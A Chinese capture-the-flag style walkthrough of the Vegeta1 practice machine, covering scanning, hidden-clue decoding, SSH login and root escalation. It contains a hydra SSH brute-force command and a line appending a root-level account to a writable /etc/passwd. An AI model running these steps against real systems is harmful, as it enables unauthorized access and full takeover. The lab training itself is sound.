OSCP系列靶场-Esay-Vegeta1保姆级

OSCP系列靶场-Esay-Vegeta1保姆级

目录

  • OSCP系列靶场-Esay-Vegeta1保姆级
    • 总结
    • 准备工作
    • 信息收集-端口扫描
      • 目标开放端口收集
      • 目标端口对应服务探测
    • 信息收集-端口测试
      • 22-SSH端口的信息收集
        • 22-SSH端口版本信息与MSF利用
        • 22-SSH协议支持的登录方式
        • 22-SSH手动登录尝试(无)
        • 22-SSH弱口令爆破(待定)
      • 80-HTTP端口的信息收集
        • 信息收集-HTML隐藏信息查看
        • 信息收集-目录扫描
          • 信息收集-目录扫描初步
        • 信息收集-目录访问
          • /robots.txt端点访问
          • /find_me/端点访问
          • /admin/端点
          • 其他端点
        • find_me.html加密信息破解
      • 信息再收集
        • 新端点/bulma/
    • 漏洞利用-getwebshell
      • 已知密码-SSH用户爆破(失败)
      • 破译莫斯密码
      • 22-SSH账号密码登录
    • 内网遨游-getshell
      • FLAG1获取
      • 信息收集-内网基础信息收集
        • 检测Linux操作系统的发行版本
        • 检测Linux操作系统的内核版本
        • 检测当前用户的权限
        • 列举出所有的sudo文件
        • su弱密码尝试(失败)
        • 列举出所有suid文件
        • /etc/passwd权限收集
        • /etc/shadow权限收集
        • getcap标志进程收集
        • 列举定时任务
        • 查看历史信息
        • 确认/home目录下信息
      • 权限提升
        • 可写etc/passwd提权
      • FLAG2获取
    • 后记

总结

getwebshell : 目录扫描 → 发现音频 → 莫斯密码 → 解密得到账号密码 → ssh登录

提 权 思 路 : history发现线索 → /etc/passwd属主权限 → 写入root权限的账号密码 → 登录提权

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.239

  • 启动靶机
    获取目标机器IP → 192.168.172.73

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)
sudo nmap --min-rate 10000 -p- 192.168.172.73PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http


开放的端口->22,80

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p22,80 192.168.172.73PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))

信息收集-端口测试

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

# 搜索对应脚本
msf6 > searchsploit openssh 7.9

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

sudo ssh root<span class="label label-primary">@192.168.172.73</span> -v

显示publickeypassword就是支持密钥以及密码登录

22-SSH手动登录尝试(无)

因为支持密码登录,尝试root账户的密码弱密码尝试

sudo ssh root<span class="label label-primary">@192.168.172.73</span> -p 22
# 密码尝试
password &gt; root

弱密码尝试失败

22-SSH弱口令爆破(待定)

如果没思路的话,准备sshroot账户爆破

80-HTTP端口的信息收集

访问 http://192.168.172.73:80 不是CMS我们直接从HTML隐藏信息收集开始

信息收集-HTML隐藏信息查看

# 包括文章中是否写明一些敏感信息
curl http://192.168.172.73:80

个人色彩浓厚,可能用户与King Vegeta有关

信息收集-目录扫描

信息收集-目录扫描初步
# 用两个扫描器进行扫描,更加的谨慎一些
dirsearch -u http://192.168.172.73:80 -x 302,403,404
dirb http://192.168.172.73:80


因为扫出了目录,深层次的扫描待选

信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)

信息收集-目录访问

/robots.txt端点访问

发现新的入口 /find_me

┌──(root㉿Kali)-[/home/bachang/Vegeta1]
└─# curl http://192.168.172.73/robots.txt
*
/find_me
/find_me/端点访问

发现是目录遍历

┌──(root㉿Kali)-[/home/bachang/Vegeta1]
└─# curl http://192.168.172.73/find_me/   ...
<h1>Index of /find_me</h1>
...

存在 find_me.html


访问 find_me.html发现提示Vegeta-1.0


尝试搜索msf没有任何收获
也对 Vegeta 是动漫角色,猜测是否是其他提示

┌──(root㉿Kali)-[/home/bachang/Vegeta1]
└─# searchsploit Vegeta                                 
Exploits: No Results
Shellcodes: No Results

查看HTML发现隐藏内容,是加密代码

curl http://192.168.172.73/find_me/find_me.html

/admin/端点

在该端点下发现一个php文件


访问无任何内容

其他端点

其他端点内容是空

find_me.html加密信息破解

因为看到了两个等号,猜测是bas64编码

echo 'aVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQU1nQUFBRElD.....GQUFBQUFFbEZUa1N1UW1DQw==' | base64 -d &gt; main.txt

访问之后发现还是看不懂,在没有其他线索的情况下,推测存在二次加密


看起来两串代码差不多,尝试再次base64解密
这次解密之后发现开头是png内容看不懂,说明是图片格式


转换成图片进行查看

mv main1.txt main.jpg

打开发现是二维码

二维码本质上是url,利用二维码转url的工具
百度上搜了一个 https://www.jzx.com/decode
得到了密码topshellv

Password : topshellv

信息再收集

尝试爆破获取的密码失败,决定利用更大的字典进行目录扫描

gobuster dir -u  http://192.168.172.73:80/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -e &gt; go.txt

爆破输出到go.txt发现一个新的端点

新端点/bulma/

访问发现得到了一个.wav格式内容


通常是音频文件


下载下来

┌──(root㉿Kali)-[/home/bachang/Vegeta1]
└─# wget 192.168.172.73/bulma/hahahaha.wav 
--2023-07-31 13:45:21--  http://192.168.172.73/bulma/hahahaha.wav
正在连接 192.168.172.73:80... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:236124 (231K) [audio/x-wav]
正在保存至: “hahahaha.wav”


浅浅的听了一下,本来以为是英文听不懂,结果就像暗号

对<(^-^)>谍战片的摩斯密码
访问https://morsecode.world/international/decoder/audio-decoder-adaptive.html将音频上传

// 得到了信息
U S E R : T R U N K S P A S S W O R D : U S 3 R  S I N D O L L A R S S Y M B O L )

漏洞利用-getwebshell

已知密码-SSH用户爆破(失败)

推测获取的密码可以登录ssh尝试爆破

# -L 指定账号字典 -P指定密码字典
hydra -L /usr/share/wordlists/metasploit/unix_passwords.txt -p topshellv -t 6 -vV 192.168.172.73 ssh -s 22

破译莫斯密码

22-SSH账号密码登录

将密码大致解密

U S E R : T R U N K S P A S S W O R D : U S 3 R  S I N D O L L A R S S Y M B O L )
------
user: trunkspassword:us3rsindollarssymbol
------猜测
user: trunks
password:us3r
sindollarssymbol

sindollarssymbol百度半天说的是sin dollars symbol


先不管获取账号密码之后利用SSH进行登录,发现错误

sudo ssh trunks<span class="label label-primary">@192.168.172.73</span> -p22
password &gt; us3r

尝试替换成新加坡币符号将s替换为$

sudo ssh trunks<span class="label label-primary">@192.168.151.73</span> -p22
password &gt; u$3r

成功登录 这里重启了一下靶场 ip变成了192.168.151.73

内网遨游-getshell

FLAG1获取

trunks<span class="label label-primary">@Vegeta</span>:~$ find / -name local.txt 2&gt;/dev/null
/home/trunks/local.txt
trunks<span class="label label-primary">@Vegeta</span>:~$ cat /home/trunks/local.txt
45274fd8969e954aa6a0416012e34589

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

# 确定发行版本
trunks<span class="label label-primary">@Vegeta</span>:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 10 (buster)
Release:        10
Codename:       buster

发行版本为Debian,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

trunks<span class="label label-primary">@Vegeta</span>:~$ uname -a
Linux Vegeta 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64 GNU/Linux

内核版本为4.19.0

检测当前用户的权限

trunks<span class="label label-primary">@Vegeta</span>:~$ id
uid=1000(trunks) gid=1000(trunks) groups=1000(trunks),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

# 利用sudo -l寻找
trunks<span class="label label-primary">@Vegeta</span>:~$ sudo -l
-bash: sudo: command not found

发现不存在sudo

su弱密码尝试(失败)

su
password → root

列举出所有suid文件

如果发现u=s有东西的话 访问 https://gtfobins.github.io 寻找

# -perm 文件权限
trunks<span class="label label-primary">@Vegeta</span>:~$ find / -perm -u=s -type f 2&gt;/dev/null
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/mount
/usr/bin/fusermount
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

/etc/passwd权限收集

如果/etc/passwd具有写入权限可以尝试覆盖密码提权

trunks<span class="label label-primary">@Vegeta</span>:~$ ls -al /etc/passwd
-rw-r--r-- 1 trunks root 1486 Jun 28  2020 /etc/passwd

/etc/shadow权限收集

  • 如果/etc/shadow具有写入权限可以尝试覆盖密码提权
  • 如果/etc/shadow具有可读权限可以爆破密码
trunks<span class="label label-primary">@Vegeta</span>:~$ ls -al /etc/shadow
-rw-r----- 1 root shadow 976 Aug  4  2020 /etc/shadow

getcap标志进程收集

高版本下suid列举不全,查看getcap

# 探查有CAP_SETUID标志的进程
trunks<span class="label label-primary">@Vegeta</span>:~$ /usr/sbin/getcap -r / 2&gt;/dev/null
/usr/bin/ping = cap_net_raw+ep

列举定时任务

查找所有的定时任务,并且查看定时任务是否具有修改权限

# 寻找定时任务并修改进行提权
cat /etc/crontab

查看历史信息

可能用户留下的历史信息具有有用的信息

trunks<span class="label label-primary">@Vegeta</span>:~$ history1  perl -le ‘print crypt(“Password<span class="label label-primary">@973″,”addedsalt”)#CTL{n}</span>    2  perl -le 'print crypt("Password<span class="label label-primary">@973</span>","addedsalt")'3  echo "Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash" &gt;&gt; /etc/passwd[/sh]4  echo "Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash" &gt;&gt; /etc/passwd5  ls6  su Tom7  ls -la8  cat .bash_history 9  sudo apt-get install vim10  apt-get install vim11  su root12  cat .bash_history 13  exit

确认/home目录下信息

trunks<span class="label label-primary">@Vegeta</span>:~$ ls -al /home
total 12
drwxr-xr-x  3 trunks trunks 4096 Aug 12  2020 trunks

权限提升

可写etc/passwd提权

通过history的信息我们可以知道tom的密码应该是Password<span class="label label-primary">@973被写入到了/etc/passwd中,我们尝试切换用户

su Tom
→ Password<span class="label label-primary">@973#CTL{n}su</span>: user Tom does not exist

提示说Tom用户不存在

# 发现确实没有Tom
cat /etc/passwd | grep Tom

那么根据提示我是否可以写入/etc/passwd

echo "Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash" &gt;&gt; /etc/passwd

提权成功

# 登录Tom账户
trunks<span class="label label-primary">@Vegeta</span>:~$ su Tom
Password: 
root<span class="label label-primary">@Vegeta</span>:/home/trunks# id
uid=0(root) gid=0(root) groups=0(root)
root<span class="label label-primary">@Vegeta</span>:/home/trunks# 

FLAG2获取

root<span class="label label-primary">@Vegeta</span>:/home/trunks# cat /root/proof.txt
3295b595dffaab97e16918dfbf4d11de


完结撒花~

后记

这个没仔细看的内容回来思考一下

trunks<span class="label label-primary">@Vegeta</span>:~$ ls -al /etc/passwd
-rw-r--r-- 1 trunks root 1486 Jun 28  2020 /etc/passwd

显示了文件的权限为 -rw-r--r--,所有者为 trunks,所属组为 root
简称属于root组(属主) 之后看到这种情况要注意

学到了s$之间的替换与莫斯密码的破译

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/77973.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

二叉树顺序存储结构

目录 1.二叉树顺序存储结构 2.堆的概念及结构 3.堆的相关接口实现 3.1 堆的插入及向上调整算法 3.1.1 向上调整算法 3.1.2 堆的插入 3.2 堆的删除及向下调整算法 3.2.1 向下调整算法 3.2.2 堆的删除 3.3 其它接口和代码实现 4.建堆或数组调堆的两种方式及复杂度分析…

使用 Python 来创建一个基本的命令行密码管理器

&#x1f482; 个人网站:【工具大全】【游戏大全】【神级源码资源网】&#x1f91f; 前端学习课程&#xff1a;&#x1f449;【28个案例趣学前端】【400个JS面试题】&#x1f485; 寻找学习交流、摸鱼划水的小伙伴&#xff0c;请点击【摸鱼学习交流群】 目录 密码管理器项目简介…

长亭雷池社区版本安装与使用

0x01 雷池介绍 一款足够简单、足够好用、足够强的免费 WAF。基于业界领先的语义引擎检测技术&#xff0c;作为反向代理接入&#xff0c;保护你的网站不受黑客攻击。核心检测能力由智能语义分析算法驱动&#xff0c;专为社区而生&#xff0c;不让黑客越雷池半步。 官方网址&…

【Linux】多线程互斥与同步

文章目录 一、线程互斥1. 线程互斥的引出2. 互斥量3. 互斥锁的实现原理 二、可重入和线程安全三、线程和互斥锁的封装1. 线程封装1. 互斥锁封装 四、死锁1. 死锁的概念2. 死锁的四个必要条件3. 避免死锁 五、线程同步1. 线程同步的理解2. 条件变量 一、线程互斥 1. 线程互斥的…

卷积网络:实现手写数字是识别50轮准确率97.3%

卷积网络&#xff1a;实现手写数字是识别50轮准确率 1 导入必备库2 torchvision内置了常用数据集和最常见的模型3 数据批量加载4 绘制样例5 创建模型7 设置是否使用GPU8 设置损失函数和优化器9 定义训练函数10 定义测试函数11 开始训练12 绘制损失曲线并保存13 绘制准确率曲线并…

机器人连续位姿同步插值轨迹规划—对数四元数、b样条曲线、c2连续位姿同步规划

简介&#xff1a;Smooth orientation planning is benefificial for the working performance and service life of industrial robots, keeping robots from violent impacts and shocks caused by discontinuous orientation planning. Nevertheless, the popular used quate…

学习记忆——方法篇——连锁拍照、情景故事和逻辑故事法

三大方法速记这些内容 1、连锁拍照法速记重要事件 2、情景故事速记速记购物信息 3、逻辑故事法速记客户档案 一、连锁拍照法速记重要事件 例&#xff1a;女朋友在出差之前嘱咐男朋友几件事 1、把房间收拾干净&#xff0c;最重要的是要把书架整理了&#xff0c;垃圾倒了 2、记…

Spring+MyBatis使用collection标签的两种使用方法

目录 项目场景&#xff1a; 实战操作&#xff1a; 1.创建菜单表 2.创建实体 3.创建Mapper 4.创建xml 属性描述&#xff1a; 效率比较&#xff1a; 项目场景&#xff1a; 本文说明了Spring BootMyBatis使用collection标签的两种使用方法 1. 方法一: 关联查询 2. 方法…

学习Bootstrap 5的第九天

目录 列表组 基础的列表组 实例 活动的列表项 实例 禁用的列表项 实例 链接列表项 实例 移除列表边框 实例 带编号的列表组 实例 水平列表组 实例 多种颜色列表项 实例 多种颜色的链接列表项 实例 带徽章的列表组 实例 列表组案例 实例一 实例二 列表组…

连nil切片和空切片一不一样都不清楚?那BAT面试官只好让你回去等通知了。

连nil切片和空切片一不一样都不清楚&#xff1f;那BAT面试官只好让你回去等通知了。 问题 package mainimport ("fmt""reflect""unsafe" )func main() {var s1 []ints2 : make([]int,0)s4 : make([]int,0)fmt.Printf("s1 pointer:%v, s2 p…

NLP机器翻译全景:从基本原理到技术实战全解析

目录 一、机器翻译简介1. 什么是机器翻译 (MT)?2. 源语言和目标语言3. 翻译模型4. 上下文的重要性 二、基于规则的机器翻译 (RBMT)1. 规则的制定2. 词典和词汇选择3. 限制与挑战4. PyTorch实现 三、基于统计的机器翻译 (SMT)1. 数据驱动2. 短语对齐3. 评分和选择4. PyTorch实现…

本地MQTT服务器搭建(EMQX)

一、下载EMQX 下载地址&#xff1a;EMQ (emqx.com) 打开官网后&#xff0c;选择右边的免费试用按钮 然后单击EMQX Enterprise标签&#xff0c;然后选择下面的EMQX开源版&#xff0c;选择开源版的系统平台为Windows&#xff0c;单击免费下载。 在新页面下单击立即下载 二、安装…

Kotlin(六) 类

目录 创建类 调用类 类的继承------open 构造函数 创建类 创建类和创建java文件一样&#xff0c;选择需要创建的目录New→Kotlin File/Class Kotlin中也是使用class关键字来声明一个类的&#xff0c;这一点和Java一致。现在我们可以在这个类中加入字段和函数来丰富它的功…

循环语句详解

文章目录 循环语句详解1. 循环使用 v-for 指令2. v-for 还支持一个可选的第二个参数&#xff0c;参数值为当前项的索引3. 模板template 中使用 v-for4. v-for 迭代对象-第一个参数为value5. v-for的第二个参数为键名6. v-for的第三个参数为索引7. v-for迭代整数8. computed计算…

leetcode 第454题.四数相加II

给你四个整数数组 nums1、nums2、nums3 和 nums4 &#xff0c;数组长度都是 n &#xff0c;请你计算有多少个元组 (i, j, k, l) 能满足&#xff1a; 0 < i, j, k, l < nnums1[i] nums2[j] nums3[k] nums4[l] 0 454. 四数相加 II - 力扣&#xff08;LeetCode&#xf…

大型语言模型,第 1 部分:BERT

一、介绍 2017是机器学习中具有历史意义的一年&#xff0c;当变形金刚模型首次出现在现场时。它在许多基准测试上都表现出色&#xff0c;并且适用于数据科学中的许多问题。由于其高效的架构&#xff0c;后来开发了许多其他基于变压器的模型&#xff0c;这些模型更专注于特定任务…

rust编译出错:error: failed to run custom build command for `ring v0.16.20`

安装 Visual Studio&#xff0c;确保选择 —.NET 桌面开发、使用 C 的桌面开发和通用 Windows 平台开发。显示已安装的工具链rustup show。然后通过运行更改和设置工具链rustup default stable-x86_64-pc-windows-msvc。 另外是想用clion进行调试rust 需要你按下面配置即可解…

Mental Poker- Part 2

在part-1中&#xff0c;我们梳理了去中心纸牌游戏所面临的挑战&#xff0c;也介绍了一种改进的Barnett-Smart协议&#xff0c;part-2将深入了解该协议背后涉及的算法。 Discrete-log VTMF VTMFs包含4部分&#xff1a;key generation, mask, remask and unmask&#xff0c;这些…

NFTScan 正式上线 TON NFTScan 浏览器!

2023 年 9 月 12 号&#xff0c;NFTScan 团队正式对外发布了 TON NFTScan 基础设施&#xff0c;将为 TON 生态的 NFT 开发者和用户提供简洁高效的 NFT 数据搜索查询服务。NFTScan 作为全球领先的 NFT 数据基础设施服务商&#xff0c;TON 是继 Bitcoin、Ethereum、BNBChain、Pol…

interview3-微服务与MQ

一、SpringCloud篇 &#xff08;1&#xff09;服务注册 常见的注册中心&#xff1a;eureka、nacos、zookeeper eureka做服务注册中心&#xff1a; 服务注册&#xff1a;服务提供者需要把自己的信息注册到eureka&#xff0c;由eureka来保存这些信息&#xff0c;比如服务名称、…